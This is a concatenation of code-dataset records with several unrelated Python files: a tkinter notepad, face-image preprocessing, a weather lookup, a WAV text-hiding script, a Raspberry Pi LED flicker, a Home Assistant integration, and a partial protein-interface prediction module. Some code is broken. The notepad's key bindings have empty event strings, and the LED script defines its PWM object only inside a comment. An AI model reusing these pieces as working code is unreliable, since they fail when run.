tkinter.Text(f,width=1366,height=768,wrap=tkinter.NONE,yscrollcommand=s1.set,xscrollcommand=s2.set,undo=True,fg=t_f_color_on[tfc],selectbackground=t_ground_color_on[tgc],selectforeground=t_t_color_on[ttc],font=font)\r\n s1.pack(side=tkinter.RIGHT,fill=tkinter.Y) \r\n s1.config(command=b1.yview)\r\n s2.pack(side=tkinter.BOTTOM,fill=tkinter.X) \r\n s2.config(command=b1.xview)\r\n b1.pack(fill=tkinter.BOTH)\r\n f.pack()\r\n b1.insert(tkinter.INSERT,file_text)\r\n file.close()\r\n\r\ndef saveas_text(*args):\r\n global save\r\n global b1\r\n global file\r\n global file_text\r\n global file_name\r\n global this_file\r\n save = 1\r\n if file_name == '':\r\n file_name = tkinter.filedialog.asksaveasfilename(title='NanShan ETNR. Notepad',filetypes=[('Text file','*.txt')])\r\n this_file = file_name\r\n file = open(file_name+'.txt','w',encoding='UTF-8')\r\n file_text = file.write(b1.get('0.0','end'))\r\n file.close()\r\n else:\r\n this_file = file_name\r\n file = open(file_name+'.txt','w',encoding='UTF-8')\r\n file_text = file.write(b1.get('0.0','end'))\r\n file.close()\r\n\r\ndef font(*args):\r\n global dlg\r\n global font\r\n global s1\r\n global s2\r\n global b1\r\n global f\r\n global file_text\r\n file_text = b1.get('0.0','end')\r\n font1 = ['楷体',10]\r\n dlg.DoModal()\r\n s1.pack_forget()\r\n s2.pack_forget()\r\n b1.pack_forget()\r\n f.pack_forget()\r\n del s1\r\n del s2\r\n del b1\r\n del f\r\n a = dlg.GetCharFormat()\r\n font1[0] = a[7]\r\n font1[1] = (a[2]) / 20\r\n font = (font1[0],int(font1[1]))\r\n f=tkinter.Frame(root)\r\n s1 = tkinter.Scrollbar(f,orient=tkinter.VERTICAL)\r\n s2 = tkinter.Scrollbar(f,orient=tkinter.HORIZONTAL)\r\n b1 = tkinter.Text(f,width=1366,height=768,wrap=tkinter.NONE,yscrollcommand=s1.set,xscrollcommand=s2.set,undo=True,fg=t_f_color_on[tfc],selectbackground=t_ground_color_on[tgc],selectforeground=t_t_color_on[ttc],font=font)\r\n s1.pack(side=tkinter.RIGHT,fill=tkinter.Y) \r\n s1.config(command=b1.yview)\r\n s2.pack(side=tkinter.BOTTOM,fill=tkinter.X) \r\n s2.config(command=b1.xview)\r\n b1.pack(fill=tkinter.BOTH)\r\n f.pack()\r\n b1.insert(tkinter.INSERT,file_text)\r\n\r\ndef tur(*args):\r\n global b1\r\n global mst\r\n global s1\r\n global s2\r\n global f\r\n mst = ''\r\n turr = tkinter.Tk()\r\n turr.title('格式纠正')\r\n turr.geometry('220x100+600+200')\r\n turr.resizable(0,0)\r\n #turr.overrideredirect(True) #去除菜单栏\r\n #turr.configure(background='black') #调节背景颜色\r\n \r\n def twotab(*args):\r\n mst = b1.get('0.0','end')\r\n mst = ' ' + mst\r\n mst = mst.replace('\\n','\\n ')\r\n window = tkinter.Tk()\r\n window.title('格式纠正')\r\n window.geometry('630x150')\r\n tkinter.Label(window, text='进度:', ).place(x=50, y=60)\r\n canvas = tkinter.Canvas(window, width=465, height=22, bg=\"white\")\r\n canvas.place(x=110, y=60)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"green\")\r\n x = 50\r\n n = 465 / x\r\n for i in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0.02)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"white\")\r\n x = 5\r\n n = 465 / x\r\n for t in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0)\r\n window.destroy()\r\n turr.destroy()\r\n b1.delete('1.0','end')\r\n b1.insert(tkinter.INSERT,mst)\r\n return\r\n def oneokay(*args):\r\n '''\r\n q = []\r\n jtt = ''\r\n '''\r\n mst = b1.get('0.0','end')\r\n '''\r\n for i in mst: #遍历出首行\r\n q.append(i)\r\n if i == '\\n':\r\n break\r\n for i in mst: #将原字符串的首行去掉\r\n mst = mst.replace(i,'')\r\n if i == '\\n':\r\n break\r\n for i in q: #存储首行的列表变字符串\r\n jtt = jtt + i\r\n jtt = jtt.center(200) #居中处理\r\n mst = jtt + mst #拼接居中后的首行与内容\r\n '''\r\n mst = ' ' + mst\r\n window = tkinter.Tk()\r\n window.title('格式纠正')\r\n window.geometry('630x150')\r\n tkinter.Label(window, text='进度:', ).place(x=50, y=60)\r\n canvas = tkinter.Canvas(window, width=465, height=22, bg=\"white\")\r\n canvas.place(x=110, y=60)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"green\")\r\n x = 50\r\n n = 465 / x\r\n for i in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0.02)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"white\")\r\n x = 5\r\n n = 465 / x\r\n for t in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0)\r\n window.destroy()\r\n turr.destroy()\r\n b1.delete('1.0','end')\r\n b1.insert(tkinter.INSERT,mst)\r\n return\r\n def goto(*args):\r\n mst = b1.get('0.0','end')\r\n mst = '*** NanShan ETNR. Notepad ***\\n' + ' ' + (' ' + mst.replace('\\n','\\n ')) + '\\n*** NanShan ETNR. Notepad ***'\r\n window = tkinter.Tk()\r\n window.title('格式纠正')\r\n window.geometry('630x150')\r\n tkinter.Label(window, text='进度:', ).place(x=50, y=60)\r\n canvas = tkinter.Canvas(window, width=465, height=22, bg=\"white\")\r\n canvas.place(x=110, y=60)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"green\")\r\n x = 50\r\n n = 465 / x\r\n for i in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0.02)\r\n fill_line = canvas.create_rectangle(1.5, 1.5, 0, 23, width=0, fill=\"white\")\r\n x = 5\r\n n = 465 / x\r\n for t in range(x):\r\n n = n + 465 / x\r\n canvas.coords(fill_line, (0, 0, n, 60))\r\n window.update()\r\n time.sleep(0)\r\n window.destroy()\r\n turr.destroy()\r\n b1.delete('1.0','end')\r\n b1.insert(tkinter.INSERT,mst)\r\n return\r\n \r\n button1 = tkinter.Button(turr,text='行��空两格',command=twotab)\r\n button1.pack()\r\n button2 = tkinter.Button(turr,text='首行居中',command=oneokay)\r\n button2.pack()\r\n button3 = tkinter.Button(turr,text='自动格式纠正(不推荐使用)',command=goto)\r\n button3.pack()\r\n turr.mainloop()\r\n\r\ndef init(file_text,ggg,ttt,fff):\r\n f=tkinter.Frame(root)\r\n s1 = tkinter.Scrollbar(f,orient=tkinter.VERTICAL)\r\n s2 = tkinter.Scrollbar(f,orient=tkinter.HORIZONTAL)\r\n b1 = tkinter.Text(f,width=1366,height=768,wrap=tkinter.NONE,yscrollcommand=s1.set,xscrollcommand=s2.set,undo=True,fg=fff,selectbackground=ggg,selectforeground=ttt,font=font)\r\n s1.pack(side=tkinter.RIGHT,fill=tkinter.Y) \r\n s1.config(command=b1.yview)\r\n s2.pack(side=tkinter.BOTTOM,fill=tkinter.X) \r\n s2.config(command=b1.xview)\r\n b1.pack(fill=tkinter.BOTH)\r\n f.pack()\r\n b1.insert(tkinter.INSERT,file_text)\r\n\r\ndef color(event=''):\r\n global s1\r\n global s2\r\n global b1\r\n global f\r\n global root\r\n global init\r\n global t_ground_color_t\r\n global t_t_color_t\r\n global t_f_color_t\r\n global t_ground_color_t_on\r\n global t_t_color_t_on\r\n global t_f_color_t_on\r\n global tgc\r\n global ttc\r\n global tfc\r\n file_text = b1.get('0.0','end')\r\n def ok(event=''):\r\n t_ground_color_on = ('blue','black','deeppink','cyan','yellow','orangered','white','gray')\r\n t_t_color_on = ('white','blue','black','deeppink','cyan','yellow','orangered','gray')\r\n t_f_color_on = ('black','blue','deeppink','cyan','yellow','orangered','white','gray')\r\n tgc = t_ground_color[comboxlist1.get()]\r\n ttc = t_t_color[comboxlist2.get()]\r\n tfc = t_f_color[comboxlist3.get()]\r\n print(str(tgc)+' '+str(ttc)+' '+str(tfc))\r\n print(str(comboxlist1.get())+' '+str(comboxlist2.get())+' '+str(comboxlist3.get()))\r\n print(str(type(comboxlist1.get())))\r\n print(str(type(t_f_color_on[tfc])))\r\n print(str(' f '+t_f_color_on[tfc])+' t '+str(t_t_color_on[ttc])+' g '+str(t_ground_color_on[tgc]))\r\n init(file_text,t_ground_color_on[tgc],t_t_color_on[ttc],t_f_color_on[tfc])\r\n def cancel(event=''):\r\n wind.destroy()\r\n wind=tkinter.Tk()\r\n wind.title('字体颜色')\r\n label1 = tkinter.Label(wind,text='选中后的背景颜色')\r\n label1.pack()\r\n comvalue1 = tkinter.StringVar()\r\n comboxlist1 = ttk.Combobox(wind,textvariable=comvalue1)\r\n comboxlist1[\"values\"] = t_ground_color_t\r\n comboxlist1.current(0)\r\n comboxlist1.pack()\r\n comboxlist1.bind(\"<>\",ok)\r\n label2 = tkinter.Label(wind,text='选中后的文字颜色')\r\n label2.pack()\r\n comvalue2 = tkinter.StringVar()\r\n comboxlist2 = ttk.Combobox(wind,textvariable=comvalue2)\r\n comboxlist2[\"values\"] = t_t_color_t\r\n comboxlist2.current(0)\r\n comboxlist2.pack()\r\n comboxlist2.bind(\"<>\",ok)\r\n label3 = tkinter.Label(wind,text='字体颜色')\r\n label3.pack()\r\n comvalue3 = tkinter.StringVar()\r\n comboxlist3 = ttk.Combobox(wind,textvariable=comvalue3)\r\n comboxlist3[\"values\"] = t_f_color_t\r\n comboxlist3.current(0)\r\n comboxlist3.pack()\r\n comboxlist3.bind(\"<>\",ok)\r\n button2 = tkinter.Button(wind,text='确定',command=cancel)\r\n button2.pack()\r\n button3 = tkinter.Button(wind,text='取消',command=cancel)\r\n button3.pack()\r\n\r\nmenu = tkinter.Menu(root)\r\nsubmenu = tkinter.Menu(menu, tearoff=0)\r\nsubmenu.add_command(label=\"新建(Ctrl+N)\",command=new_text)\r\nsubmenu.add_command(label=\"打开(Ctrl+O)\",command=open_text)\r\nsubmenu.add_command(label=\"另存为(Ctrl+S)\",command=saveas_text)\r\nsubmenu.add_command(label=\"关闭(Ctrl+E)\",command=exit_win)\r\nmenu.add_cascade(label=\"文件\", menu=submenu)\r\nsubmenu = tkinter.Menu(menu, tearoff=0)\r\nsubmenu.add_command(label=\"复制(Ctrl+C)\",command=copy)\r\nsubmenu.add_command(label=\"粘贴(Ctrl+P)\",command=paste)\r\nsubmenu.add_command(label=\"剪切(Ctrl+X)\",command=cut)\r\nmenu.add_cascade(label=\"编辑\", menu=submenu)\r\nsubmenu = tkinter.Menu(menu, tearoff=0)\r\nsubmenu.add_command(label=\"字体(该版本不支持在字体选择中使用颜色调节与样式调节)(Ctrl+F)\",command=font)\r\nsubmenu.add_command(label=\"格式纠正(Ctrl+G)\",command=tur)\r\n#submenu.add_command(label=\"字体颜色\",command=color)\r\nmenu.add_cascade(label=\"格式\", menu=submenu)\r\nroot.config(menu=menu)\r\n\r\nb1.bind_all('',exit_win,'')\r\nb1.bind_all('',cut,'')\r\nb1.bind_all('',paste,'')\r\nb1.bind_all('',copy,'')\r\nb1.bind_all('',new_text,'')\r\nb1.bind_all('',open_text,'')\r\nb1.bind_all('',saveas_text,'')\r\nb1.bind_all('',font,'')\r\nb1.bind_all('',tur,'')\r\nroot.protocol(\"WM_DELETE_WINDOW\",exit_win)\r\n\r\n\r\n\r\nroot.mainloop()\r\n","sub_path":"Notepad.pyw","file_name":"Notepad.pyw","file_ext":"pyw","file_size_in_byte":16911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"157592371","text":"import os\nimport time\nimport cv2\nimport face_recognition\nimport numpy as np\nfrom PIL import Image, ImageOps\nfrom tqdm import tqdm\nimport base64\n\nfrom face_detection.utils.preprocessing.preload_data import PreloadData\n\n\nclass ImageConverter:\n def __init__(self, image_name=None, output_dir=None, img_format='png'):\n self.image_name = image_name if image_name else str(int(time.time()))\n self.output_dir = output_dir if output_dir else '.'\n self.img_format = img_format\n self.img_extensions = [\".jpeg\", \".jpg\", \".png\", \".gif\", \".tiff\", \".psd\", \".pdf\", \".eps\", \".ai\", \".indd\", \".raw\"]\n\n def from_base64(self, image_data):\n try:\n image_data_list = image_data.strip().split(',')\n image_data = image_data_list[-1]\n imgdata = base64.b64decode(image_data)\n if any(extension in self.image_name for extension in self.img_extensions):\n print(\"Image extension found\")\n else:\n self.image_name += '.'+self.img_format\n\n print(self.output_dir)\n print(self.img_format)\n img_path = os.path.join(self.output_dir, self.image_name)\n img_path = self.output_dir + \"/\" + self.image_name\n print(img_path)\n with open(img_path, 'wb') as f:\n f.write(imgdata)\n return img_path\n except Exception as e:\n print(e)\n return False\n\n\nclass ImagePreprocessing(PreloadData):\n\n def __init__(self, source, destination=None, filename=None, IMG_SIZE=50, resize_image=True, original_image=False,\n rescale=None):\n super().__init__(source, destination, filename)\n self.source = source\n self.destination = destination\n self.filename = filename\n self.data = None\n self.IMG_SIZE = IMG_SIZE\n self.resize_image = resize_image\n self.original_image = original_image\n self.rescale = rescale\n\n def __save_face_crop(self, position: tuple, known_image, image_name, output_dir):\n top, right, bottom, left = position\n top = top - int((bottom - top) / 4)\n right = right + int((right - left) / 4)\n bottom = bottom + int((bottom - top) / 4)\n left = left - int((right - left) / 4)\n pil_img = Image.fromarray(known_image)\n crop_img = pil_img.crop((left, top, right, bottom))\n gray_img = ImageOps.grayscale(crop_img)\n if output_dir:\n gray_img.save(output_dir + '/' + image_name)\n else:\n gray_img.save(known_image)\n\n def face_crop(self, known_data_dir=None, image=None, output_dir=None):\n if known_data_dir or image is None:\n known_data_dir = known_data_dir if known_data_dir else self.source\n for img in tqdm(os.listdir(known_data_dir)):\n known_image = face_recognition.load_image_file(os.path.join(known_data_dir, img))\n face_location = face_recognition.face_locations(known_image)\n if not face_location:\n print(\"Image quality of {} is not good. Please pass a valid image\".format(img))\n else:\n self.__save_face_crop(face_location[0], known_image, img, output_dir)\n print(\"Image has cropped\")\n else:\n known_image = face_recognition.load_image_file(image)\n img_path_list = str(image).split(\"/\")\n img_name = img_path_list[len(img_path_list) - 1]\n face_location = face_recognition.face_locations(known_image)\n if not face_location:\n print(\"Image quality is not good. Please pass a valid image\")\n else:\n self.__save_face_crop(face_location[0], known_image, img_name, output_dir)\n print(\"Image has cropped\")\n\n def get_image_array(self, source):\n try:\n if self.original_image:\n img_array = cv2.imread(source)\n img_array = cv2.cvtColor(img_array, cv2.COLOR_BGR2RGB)\n else:\n img_array = cv2.imread(source, cv2.IMREAD_GRAYSCALE) # convert to array\n\n if self.resize_image:\n img_array = cv2.resize(img_array, (self.IMG_SIZE, self.IMG_SIZE))\n return img_array\n except Exception as e:\n # print(\"Corrupted Image: {}\".format(source))\n return False\n\n def __create_data(self, source, image_data=None):\n if image_data is None:\n image_data = []\n for img in tqdm(os.listdir(source)):\n if os.path.isdir(os.path.join(source, img)):\n self.__create_data(os.path.join(source, img), image_data)\n else:\n img_src = str(img).split('.')\n img_name = ''.join(img_src[: len(img_src) - 1])\n src_name = str(source).replace('/', '_')\n src_name = str(src_name).replace('._', '')\n img_label = src_name + '_' + img_name\n img_array = self.get_image_array(os.path.join(source, img))\n if img_array is False:\n pass\n else:\n image_data.append([img_array, img_label])\n return image_data\n\n def extract_model(self, training_data, reshape=False, reshape_size=None) -> tuple:\n X = []\n y = []\n for features, labels in training_data:\n X.append(features)\n y.append(labels)\n if reshape:\n if reshape_size is None:\n reshape_size = self.IMG_SIZE\n X = np.array(X).reshape(-1, reshape_size, reshape_size, 1)\n\n return X, y\n\n def reshape(self, features=None, reshape_size=None):\n if reshape_size is None:\n reshape_size = self.IMG_SIZE\n if features is None:\n features = self.data[0]\n return np.array(features).reshape(-1, reshape_size, reshape_size, 1)\n\n def extract_data(self, reshape=False, reshape_size=None, shuffle=False, random_state=None, repeat=1):\n if os.path.isdir(self.source):\n training_data = self.__create_data(self.source)\n if shuffle:\n training_data = self.shuffle_dataset(dataset=training_data, random_state=random_state, repeat=repeat)\n self.data = self.extract_model(training_data=training_data, reshape=reshape, reshape_size=reshape_size)\n else:\n features, labels = self.load_data()\n if shuffle:\n features, labels = self.shuffle(features=features, labels=labels, random_state=random_state, repeat=repeat)\n if reshape:\n features = self.reshape(features=features, reshape_size=reshape_size)\n self.data = (features, labels)\n return self.data\n\n def test_image_preparation(self, img_path):\n img_array = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n new_array = cv2.resize(img_array, (self.IMG_SIZE, self.IMG_SIZE))\n return new_array.reshape(-1, self.IMG_SIZE, self.IMG_SIZE, 1)\n\n\n","sub_path":"face_detection/utils/preprocessing/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":7037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"301800307","text":"import pyowm\n\nowm = pyowm.OWM('Token')\n\nplace = input(\"В каком городе?: \")\n\nobservation = owm.weather_at_place(place)\nw = observation.get_weather()\n\ntemp = w.get_temperature('celsius')[\"temp\"]\n\nprint(\"В городе \" + place + \" сейчас \" + w.get_detailed_status())\nprint(\"Температура сейчас\" + str(temp))\n\nif temp < 10:\n print(\"Сегодня очень холодно, одевайся тепло!\")\nelif temp < 20:\n print(\"Холодно, оденься потеплее!\")\nelse:\n print(\"На улице жара!\")\n","sub_path":"Weather.py","file_name":"Weather.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"547447473","text":"import wave\n\n\ndef case(a):\n\tif a == '1':\n\t\tencode()\n\telif a == '2':\n\t\tdecode()\n\telif a == '3':\n\t\tquit()\n\telse:\n\t\tprint(\"\\nEnter valid choice!\")\n\n\ndef encode():\n\tstring_in = input(\"\\nEnter the string you want to hide: \")\n\tprint(\"\\Encoding in progress..\")\n\taudio = wave.open(\"sample.wav\",mode=\"rb\")\n\tframe_bytes = bytearray(list(audio.readframes(audio.getnframes())))\n\t\n\t# string_in = \"Spiderman is Peter Parker\"\n\tprint(string_in)\n\tstring_in = string_in + int((len(frame_bytes)-(len(string_in)*8*8))/8) *'#'\n\tbits = list(map(int, ''.join([bin(ord(i)).lstrip('0b').rjust(8,'0') for i in string_in])))\n\tfor i, bit in enumerate(bits):\n\t\tframe_bytes[i] = (frame_bytes[i] & 254) | bit\n\tframe_modified = bytes(frame_bytes)\n\tfor i in range(0,10):\n\t\tprint(frame_bytes[i])\n\tnew_audio = wave.open('sample_out.wav', 'wb')\n\tnew_audio.setparams(audio.getparams())\n\tnew_audio.writeframes(frame_modified)\n\n\tnew_audio.close()\n\taudio.close()\n\tprint(\" |---->succesfully encoded inside sample_out.wav\")\n\n\ndef decode():\n\tprint(\"\\nDecoding Starts..\")\n\taudio = wave.open(\"sample_out.wav\", mode='rb')\n\tframe_bytes = bytearray(list(audio.readframes(audio.getnframes())))\n\textracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]\n\tstring_out = \"\".join(chr(int(\"\".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))\n\tdecoded = string_out.split(\"###\")[0]\n\tprint(\"Sucessfully decoded: \"+decoded)\n\taudio.close()\t\n\n\nwhile(1):\n\tprint(\"\\nEnter your choice:\\n1 = Encode\\n2 = Decode\\n3 = Exit\")\n\tval = input(\"\\nYour choice: \")\n\tcase(val)\n","sub_path":"stego.py","file_name":"stego.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"195944577","text":"import RPi.GPIO as GPIO\nimport time\nimport random\n\n# Set the PWM output we are using for the LED\nLED = 18\n\ndef setup():\n global pwm\n\n # GPIO uses broadcom numbering (GPIO numbers)\n GPIO.setmode(GPIO.BCM)\n\n # Set the LED pin as an output\n GPIO.setup(LED, GPIO.OUT)\n\n # Start PWM on the LED pin at 200Hz with a\n # 100% duty cycle. At lower frequencies the LED\n # would flicker even when we wanted it on solidly pwm = GPIO.PWM(LED, 200)\n # Start at a brightness of 100%\n pwm.start(100)\n\ndef set_brightness(new_brightness):\n # Sets brightness of the LED by changing duty cycle\n pwm.ChangeDutyCycle(new_brightness)\n\ndef flicker():\n # We want a random brightness between 0% and 100%.\n # Then then we'll hold it for a random time\n # between 0.01 and 0.1 seconds to get a nice flicker\n # effect. Play with these values to make the effect\n # suit your liking\n set_brightness(random.randrange(0, 100))\n time.sleep(random.randrange(1, 10) * 0.01)\n\n# The wrapper around the flicker function makes sure the\n# GPIO hardware is cleaned up when the user presses CTRL-C\ndef loop():\n try:\n while True:\n flicker()\n except KeyboardInterrupt:\n pass\n finally:\n GPIO.cleanup()\n\n# setup the hardware\nsetup()\n\n# start the flickering\nloop()","sub_path":"flicker.py","file_name":"flicker.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"232800046","text":"import asyncio, logging\n\nfrom homeassistant import core, config_entries\n\nfrom .const import DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(hass: core.HomeAssistant, entry: config_entries.ConfigEntry) -> bool:\n hass.data.setdefault(DOMAIN, {})\n hass_data = dict(entry.data)\n\n unsub_options_update_listener = entry.add_update_listener(options_update_listener)\n\n hass_data[\"unsub_options_update_listener\"] = unsub_options_update_listener\n hass.data[DOMAIN][entry.entry_id] = hass_data\n\n hass.async_create_task(hass.config_entries.async_forward_entry_setup(entry, \"sensor\"))\n return True\n\n\nasync def options_update_listener(hass: core.HomeAssistant, config_entry: config_entries.ConfigEntry):\n await hass.config_entries.async_reload(config_entry.entry_id)\n\n\nasync def async_unload_entry(hass: core.HomeAssistant, entry: config_entries.ConfigEntry) -> bool:\n \"\"\"Unload a config entry.\"\"\"\n unload_ok = all(\n await asyncio.gather(\n *[hass.config_entries.async_forward_entry_unload(entry, \"sensor\")]\n )\n )\n # Remove options_update_listener.\n hass.data[DOMAIN][entry.entry_id][\"unsub_options_update_listener\"]()\n\n # Remove config entry from domain.\n if unload_ok:\n hass.data[DOMAIN].pop(entry.entry_id)\n\n return unload_ok\n\n\nasync def async_setup(hass: core.HomeAssistant, config: dict) -> bool:\n \"\"\"Set up the Google Home component.\"\"\"\n hass.data.setdefault(DOMAIN, {})\n return True\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"386543816","text":"from .include import *\nfrom sklearn.metrics.pairwise import euclidean_distances\n\n\ndef sort_residues(res):\n def res_gr(r):\n c, i, a = r.split(\"_\")\n if len(c) == 0:\n c = \" \"\n v = ord(c) * 10000 + int(i)\n return v\n return sorted(list(res), key=res_gr)\n\ndef get_neighbor_residues(filename, positions, distance_threshold=4):\n \"\"\"\n Getting residues from pdb file that are not further \n than distance threshold from given coordinates.\n\n Args:\n filename: str; \n path to protein pdb file;\n positions: np.array of shape (n_positions, 3);\n predictions coordinates;\n distance_threshold: float; default=4;\n distance threshold; if at least one atom of residue is not further than \n distance threshold to position, residue is considered to be on interface.\n \n Returns:\n residues: list of lists of str;\n list of interface residues for each given position;\n residue string is composed as \"{chain_id}_{residue_id}_{residue_name}\".\n \"\"\"\n residues = [set() for _ in positions]\n with open(filename, \"r\") as file:\n for line in file:\n if line[:6] == \"ATOM \":\n x = float(line[30:38]) \n y = float(line[38:46])\n z = float(line[46:54])\n chain = line[21].strip()\n res_name = line[17:20].strip()\n res_id = int(line[22:26])\n element = line[76:78].strip()\n res_name_full = \"{:s}_{:d}_{:s}\".format(chain, res_id, res_name)\n if element not in [\"H\", \"D\"]:\n distances = np.linalg.norm(positions - [x, y, z], axis=1)\n indexes = np.where(distances <= distance_threshold)[0]\n for i in indexes:\n residues[i].add(res_name_full)\n residues = [sort_residues(r) for r in residues]\n return residues\n\ndef get_prediction_residues(filenames, predictions, distance_threshold=4):\n \"\"\"\n Getting interface residues for list of files to corresponding list of predictions.\n\n Args:\n filenames: list of str;\n list of protein pdb filenames;\n predictions: list of np.array of shape (n_predictions, 4);\n list of predictions for each protein;\n distance_threshold: float; default=4;\n distance threshold for residue to be considered to be in interface.\n\n Returns:\n residues: list of lists of str;\n list of residues for each protein.\n \"\"\"\n residues = []\n for i, filename in enumerate(filenames):\n if len(predictions[i]) > 0:\n residues.append(get_neighbor_residues(filename, predictions[i][:, 1:4], \n distance_threshold=distance_threshold))\n else:\n residues.append([])\n return residues\n\nclass PredictionProcesser:\n \"\"\"\n Prediction Processer\n\n Class for rescaling prediction coordinates and its filtering.\n\n Args:\n score_threshold: float; default=0.1;\n predictions with confidence score less than score_threshold are filtered out;\n max_boxes: int; default=-1;\n maximum number of predictions for each protein;\n distance_threshold: float; default=8;\n distance threshold (Angstroms) for non max suppression;\n voxel_size: float; default=1.;\n voxel size (Angstroms), for rescaling predictions coordinates;\n cell_size: int; default=8;\n cell size (voxels), for rescaling predictions coordinates;\n residues: bool; default=True;\n if True, neighbor residues for each predictions are calculated as well;\n distance_residues: float; default=6.;\n distance threshold for residues to be considered to be neighbor.\n \"\"\"\n def __init__(self,\n score_threshold = 0.1, \n max_boxes = -1, \n distance_threshold = 8.,\n voxel_size = default_voxel_size,\n cell_size = default_cell_size,\n residues = True,\n distance_residues = 6.,\n **kwargs):\n\n self.score_threshold = score_threshold\n self.max_boxes = max_boxes\n self.distance_threshold = distance_threshold\n self.voxel_size = voxel_size\n self.cell_size = cell_size\n self.residues = residues\n self.distance_residues = distance_residues\n\n def filter_output(self, model_output, floors):\n \"\"\"\n Filtering out low score predictions and rescaling predictions coordinates.\n\n Args:\n model_output: np.array of shape (n_grids, N, N, N, 4), where N is the number of cells;\n outputs of model forward pass;\n floors: list of lists of np.array of shape (3) or (6); (n_proteins, None, 3);\n list of grid origin coordinates for each protein;\n 0:3 are grid origin coordinates; 3:6 are rotation angles;\n \n Returns:\n predictions: list of np.array(None, 4); (n_proteins, None, 4);\n list of predictions for each protein.\n \"\"\"\n # flatten\n shape = model_output.shape\n model_output = np.reshape(model_output, (shape[0], shape[1]*shape[2]*shape[3], shape[4]))\n model_output[:, :, 1:4] *= self.cell_size * self.voxel_size\n predictions = []\n i = 0\n\n # for each protein\n for f in floors:\n f = np.array(f)\n predictions_single = []\n for j in range(len(f)):\n # filtering out low score predictions\n indexes = np.where(model_output[i][:, 0] >= self.score_threshold)\n values = model_output[i][indexes]\n values[:, 1:4] += f[j, :3]\n # if rotation angles are provided, prediction coordinates are rotated in the opposite direction\n if f.shape[1] > 3:\n r = f[j, 3:6]\n for k in range(len(values)):\n values[k, 1:4] = np.dot(rotation_matrix(r[0], r[1], -r[2]), values[k, 1:4])\n predictions_single += values.tolist()\n i += 1\n\n predictions.append(np.array(predictions_single))\n\n return predictions\n \n def non_max_suppression(self, predictions):\n \"\"\"\n Non max suppression of predictions. \n Args:\n predictions: np.array of shape (n_predictions, 4).\n Returns:\n predictions: np.array of shape (n_predictions_out, 4);\n filtered with non max suppression predictions.\n \"\"\"\n if self.distance_threshold <= 0:\n return predictions\n predictions_new = []\n i = 0\n while len(predictions) >= 1 and (self.max_boxes <= 0 or i < self.max_boxes):\n # find top score prediction\n max_index = predictions[:, 0].argmax(axis=0)\n pos_max = predictions[max_index, 1:4]\n predictions_new.append(predictions[max_index])\n if i == self.max_boxes - 1:\n break\n # filter out all predictions that are closer than distance_threshold to top score prediction\n distances = np.linalg.norm(predictions[:, 1:4] - pos_max, axis=1)\n indexes = np.where(distances >= self.distance_threshold)[0]\n predictions = predictions[indexes]\n i += 1\n return np.array(predictions_new)\n\n def get_predictions(self, model_output, floors):\n \"\"\"\n Rescaling and filtering predictions from model forward pass output.\n Args:\n model_output: np.array of shape (n_grids, N, N, N, 4), where N is the number of cells;\n outputs of model forward pass;\n floors: list of lists of np.array of shape (3) or (6); (n_proteins, None, 3);\n list of grid origin coordinates for each protein;\n 0:3 are grid origin coordinates; 3:6 are rotation angles.\n Returns: \n predictions: list of np.array of shape (None, 4);\n rescaled and filtered predictions for each protein.\n \"\"\"\n predictions_filtered = self.filter_output(model_output, floors)\n predictions_nms = []\n for pred in predictions_filtered:\n predictions_nms.append(self.non_max_suppression(pred))\n return predictions_nms\n\n def __call__(self, model_output, floors):\n return self.get_predictions(model_output, floors)\n\n def set_params(self, **args):\n for name, arg in args.items():\n if name in self.__dict__.keys():\n self.__dict__[name] = arg\n\n def get_residues(self, filenames, predictions):\n \"\"\"\n Returns residues lists for each protein and corresponding predictions.\n \"\"\"\n if not self.residues:\n return [[]] * len(filenames)\n else:\n return get_prediction_residues(filenames, predictions, \n distance_threshold=self.distance_residues)\n\nclass PredictionAccuracy:\n \"\"\"\n Prediction Accuracy\n\n Class for calculation of model accuracy.\n\n Args:\n score_threshold: float; default=0.01;\n predictions with confidence score lower than score thresold are not considered;\n distance_threshold: float; default=4.;\n only predictions which are closer than distance threshold to true \n interface center can be true positive;\n num_boxes: int; default=-1;\n number of predictions for each protein to be considered;\n -1 for top-N; -2 for top-(N+2); -3 for All, \n where N is the number of true interfaces for current protein;\n single_box: bool; default=True;\n if True only the closest to interface center prediction can be considered as true positive.\n \"\"\"\n def __init__(self,\n score_threshold = 0.01,\n distance_threshold = 4.,\n num_boxes = -1,\n single_box = True,\n ):\n self.score_threshold = score_threshold\n self.distance_threshold = distance_threshold\n self.num_boxes = 